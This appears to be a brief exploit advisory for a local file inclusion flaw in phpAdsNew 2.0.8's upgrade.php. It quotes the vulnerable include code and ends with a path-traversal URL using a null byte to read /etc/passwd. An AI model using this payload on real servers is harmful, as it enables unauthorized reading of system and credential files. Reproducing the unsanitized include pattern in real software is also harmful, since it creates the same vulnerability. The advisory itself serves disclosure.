phpAdsNew 2.0.8 suffers from a file inclusion vulnerability in upgrade.php.
cc3e7ba2196d6ecb79761797b3f61122aa0ede0ffb8c9bd9cddc11e1df105d7f
#######################################
Autors:
- Michał `wacky` Błaszczak
- Nobody
https://iHACK.pl
#######################################
File: modules/phpads/admin/upgrade.php
Code:
// Load language strings
if (file_exists("../language/".$phpAds_config['language']."/default.lang.php"))
include("../language/".$phpAds_config['language']."/default.lang.php");
else
{
$phpAds_config['language'] = 'english';
include("../language/english/default.lang.php");
}
Exploit:
https://ihack.pl/phpAdsNew-2.0.8/admin/
upgrade.php?phpAds_config[language]=../../../etc/passwd%00